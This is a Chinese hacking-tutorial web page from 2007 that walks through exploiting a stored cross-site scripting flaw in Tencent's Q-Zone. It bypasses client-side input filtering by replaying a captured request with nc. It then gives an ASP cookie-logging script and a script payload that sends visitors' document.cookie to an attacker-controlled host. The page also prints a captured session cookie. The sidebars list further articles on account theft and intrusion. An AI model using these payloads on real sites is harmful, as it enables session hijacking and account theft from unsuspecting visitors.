栏目分类
安全资讯 | 硬件产品 | 软件产品 | 安全基础 | 病毒专区 | 黑客技术 | 防火墙 | 安全方案
排行榜
·“黑客”教你如何远程控制计算机
·破解WindowsXP登陆口令
·手把手教你盗号!--啊拉QQ大盗
·迎刃而解——常用密码破解完全手册
·全球杀毒软件大评比55款防毒软件排名
·为您支招局域网内如何防止ARP欺骗
·CCProxy代理软件中隐藏的阴谋
·教你入侵网吧服务器
·Windows系统中常用密码的破解方法
·解析来自Autorun.inf文件的攻击
·我这样破解万象免费上网
·破解网吧还原精灵一些常用的方法
·远程控制新法宝---DMRC软件包
·愚公移山文档密码全面暴力破解
·又一聊天工具中招一分钟快速破解UC密码
·远程控制软件VNC教程和对内网机器控制的实现
·黑客技术入门篇:铿锵三节课
·c#.net如何获取本机ip
·木马传播新方式图片木马技术解析
·卡巴斯基反病毒软件网络版

    您现在的位置: Linux宝库 >> 安全 >> 黑客技术 >> 文章正文
Q-Zone跨站入侵漏洞的详细分析与利用
Linux宝库 收集整理  作者:Linux宝库  时间:2007-12-31  收藏本站
来自:http://doc.linuxpk.com/79296.html
联系:linuxmine#gmail.com
分类:[黑客技术]
  

  技术点:CSS跨站漏洞

  用户输入过滤方式

  修改IE提交数据

  跨站盗取COOKIE

  前不久,腾讯新推出的网络空间“Q-ZONE”暴出了存在跨站漏洞,很难想象,一项新推出的业务居然如果脆弱,不由不让人佩服腾讯的开发能力,下面便我们来了解一下“Q-ZONE”的这一跨站漏洞吧。

  Q-Zone跨站漏洞的分析

  1、Q-Zone对用户输入的过滤

  进入Q-Zone后,依次点击“设置→空间设置→QQ空间名称”,在这里将可以修改空间的显示名称。如果我们写入一段可执行的脚本代码,只要过滤不严格的话,同样会被保存在首页中,通过调用执行代码,达到攻击浏览者的目的。下面我们先测试一下这个输入框中能否写入跨站脚本:

  在“输入空间名称”输入框中输入上面的代码“<script>alert("测试")</script>”时,发现在输入框中限制了输入字符的长度,总共只能输入24个字符。而且当我们输入许可长度的代码,点击提交后会弹出“请不要在输入中包含"<>等字符”的对话框。看来Q-Zone对用户的输入进行了过滤。

  2、查看Q-Zone的输入过滤方式

  在Q-Zone页面中点击“查看→源文件”,在代码段开始处,可以看见如下代码段:

  if (!checkFormValue(form1)) return false;len = StrLenOfAscii(form1.spacename.value)/2;if (len> 12) {


  有一点点ASP编程基础的用户,相信都可以看懂这段代码吧?在代码中通过“StrLenOfAscii()”函数,获得了用户输入数据ASCⅡ码的长度,除2后赋值给len变量。后面的代码检测len变量长度大于12的话,就提示输入名称太长。最重要的是前面的一句:“if (!checkFormValue(form1)) return false”,其中“checkFormValue()”函数很明显可以推断是用来检测输入数据中是否包含特殊字符的。当检测到数据中包含被过滤的字符时,就弹出了前面所说的对话框。

  通过分析,我们可以肯定Q-Zone是在客户端对用户输入数据进行过滤的。

  Q-Zone跨站漏洞的利用

  即然Q-Zone是在客户端对用户输入数据进行过滤的,那么就给我们留下了可利用的机会。我们可以绕过客户端的限制,直接修改输入数据进行提交。但是Q-Zone对用户提交数据还进行了另外一个限制,就是不允许外站提交,在这里我们保存的HTML文件也无法正常提交数据。因此,我们必须另外想一个办法,修改提交数据。

  

  1、截获提交数据

  我们先运行一个叫作WSockExpert的软件,运行WSockExpert后点击工具栏上的“打开”按钮,显示当前的进程列表。如果是用QQ的面板打开Q-Zone的,那么在进程列表中选择“QQ.exe→**的家”;如果是用IE打开Q-Zone的,可以在IE进程中找到相应的进程,确定后点击“Open”按钮开始监视与网站服务器交换的数据。

  返回到Q-Zone网页中,在“空间名称”处输入任意可提交的字符如“1234567890”,然后点击“提交”,回到WSockExpert中,点中间列表框中的第3行“send”附近的数据栏,可以看到提交的数据内容:

  “Content-Length: 20Cookie: pvid=1575119174; portalentryurl=http://vnet.qq.com/hn/; zzpaneluin=41346583; zzpanelkey=753923CF61AB165D613966B82F8E7F6B2D9E5A681CE7507E9A677086A89BC6DD; clientver=1305; skey=; uin=g0spacename=1234567890”


  “Cookie”是Cookie内容,包含了用户验证的东西;而“spacename=1234567890”就是我们提交的空间名称数据了;前面的“Content-Length: 20”是提交的这段数据的长度。在数据中,还可以看到“Referer: http://q-zone.qq.com/cgi-bin/user/cgi_show_spacename”,这是我们要提交的服务端网页地址。

  2、修改提交数据

  将下面窗口中的提交数据内容全部复制后,保存为一个1.TXT文件,将代码中的“spacename=1234567890”改为:“spacename=<script>alert("test")</script>”,“Content-Length: 20”改为“Content-Length: 40”

  现在我们只要将这些数据提交到服务器上,就可以绕过客户端对数据的过滤了,这就要用到另外一个叫作NC的工具了。

  将上面保存的“1.txt”复制到与“nc.exe”同一个文件夹中,打开Windows系统中的命令提示符窗口,在命令行下进入NC.exe所在的文件夹,输入“nc -vv q-zone.qq.com 80<1.txt”,命令执行后,就会向远程服务器提交我们修改过的数据了。

  提示:我们可以将“Test”换成任意中文,但是需要先转换为IE编码,例如“测试”的IE编码为“%B2%E2%CA%D4”,具体的转换过程这里就不用多说了。

  3、检测代码执行结果

  

  打开我们的Q-Zone,此时会自动弹出一个提示窗口。说明我们已经在远程的网页中成功的插入了“<script>alert("test")</script>”这条代码!同时在修改空间名称的页面中,可以看到已提交修改的原来被限制了的空间名称。

  跨站漏洞应用实例——盗取用户Cookie

  上面进行的仅仅是一个简单的测试,如果攻击者在Q-Zone中写出危险的代码,例如盗取浏览网页者的Cookie内容的代码时,就很有可能获得Cookie中的各种论坛或网站的帐号及密码。下面简单的说一说这种利用方式:

  1、上传Cookie收集网页

  申请一个网站空间,上传一内容如下的ASP文件——info.asp,这个网页主要用来收集后面的Cookie内容。

  <%

  testfile=Server.MapPath("cookies.txt")

  msg=Request("msg")

  set fs=server.CreateObject("scripting.filesystemobject")

  set thisfile=fs.OpenTextFile(testfile,8,True,0)

  thisfile.WriteLine(""&msg& "")

  thisfile.close

  set fs = nothing

  %>


  2、在Q-Zone中写入盗Cookie代码

  运行“Q-ZONE个人空间名称跨站漏洞利用工具”,将下面的代码提交插入到Q-Zone中:

  “<script>window.open('http://***/info.asp?msg='+document.cookie)</script>”

  当其他QQ用户浏览你的Q-Zone时,就会将在当前网页中新开一个窗口,连接到你指定的收集Cookie网页,并将自己的COOKIE内容发送到网站空间中的"cookies.txt"文件内,打开该文件后,就可以看到所有用户的COOKIE信息,而这些COOKIE信息中很可能就包括着用户的各个论坛和网站密码帐号哦!

  小知识:CSS跨站漏洞

  跨站漏洞又叫CSS漏洞,这里的CSS可不是网站设计中的CSS(分层样式表),而是指黑客入侵者通过某种方式,在远程的WEB页面的HTML代码中写入特殊的字符串。当其它上网者在浏览此页面时,嵌入页面中的这些字符就会被作为一段脚本代码而执行。

  黑客向远程页面中写入代码的方法很多,比如最常见的是在论坛中发帖时,在帖子中加入可执行的代码;或者在网站的用户资料修改处,也可以通过更改签名、联系方式等,在用户信息页面中嵌入脚本代码。无论采用何种方式写入执行代码时,要求网页程序没有对用户输入的数据进行严格的过滤,有的网页程序限制了用户写入的字符类型,有危险的特殊代码就无法写入执行。利用跨站漏洞,入侵者可以进行非常多的攻击,比如盗取别的人COOKIES中的帐号和密码,或者伪造页面信息、进行拒绝服务等。可以说跨站漏洞是一个危害性非常大的漏洞。

  

  用户输入过滤方式

  网页程序对用户输入进行过滤的方式一般有两种:一种是在服务端进行过滤,也就是说当用户将数据提交到网页服务器后,在服务器端对用户的输入进行检测过滤是否符合要求;另外一种是在客户端进行过滤,也就是说当用户输入数据后,在将数据提交发送到远程的网站服务器上时,首先在客户端进行数据过滤检测,符合要求再发送。比如许多网页程序为了防止用户构造提交的数据进行SQL攻击,在远程服务器端进行了数据过滤;同时在许多网站上我们也可以看到一些用户注册之类的表单,限制了用户输入数据的长度,这些大部份是在客户端进行限制的。

  修改IE提交数据

  一般说来,对用户输入端进行的简单限制,可以通过直接修改网页源代码绕过。例如上面提到的对用户输入长度的限制,如果我们将源代码中的“maxlength="24"”改为“maxlength="1000"”,并将上面的检测用户输入内容的代码段删除掉后,保存成一个html文件后。再重新打开保存的HTML文件,就可以突破限制提交数据了。本文来自:http://doc.linuxpk.com/79296.html

 
     最新更新
·新人零起步接触黑客之网站入侵知识
·辨别入侵检测系统性能的方法
·黑客入侵万象服务器的方法
·隐匿行踪“隐形”账号让肉鸡长寿
·穷追猛打:破译Foxmail“密码天书”
·入侵宝典用SlimFTP将肉鸡改为私人服务器
·如何突破TCP-IP过滤防火墙进入内网
·黑客必学――开启肉鸡终端全攻略
·网吧必杀技巧:如何进入网吧主机
·黑友必备利用FTP服务器的漏洞找肉鸡
·黑客知识巧妙配合asp木马取得管理权限
·利用“http暗藏通道”大举攻破局域网
·基础知识初级黑客安全技术命令详解
·防不胜防黑客入侵手法计中计
·从后台得到webshell十大技巧大汇总
·新人零起步接触黑客之利用暴库漏洞
·新人零起步接触黑客之注入漏洞的利用
·新人零起步接触黑客之经典上传漏洞
·谁更安全?黑客眼中的防火墙与路由器
·安全必知:黑客入侵无线网络常用手段
·黑客攻击揭密分析选定的网络攻击(图)
·安全必知 黑客网络攻击的一般过程
·菜鸟必看:学习黑客技术的基本环境
·黑客新技术灰鸽子巧妙利用全攻略
·安全攻略:突破组策略运行限制的方法
·基础知识:黑客如何查找网络安全漏洞
·黑客如何利用Ms05002溢出找“肉鸡”
·当姜太公成为黑客时网络钓鱼技术实现
·黑客攻击行为的特征分析及反攻击技术
·权限保卫战――可怕的Rootkit木马后门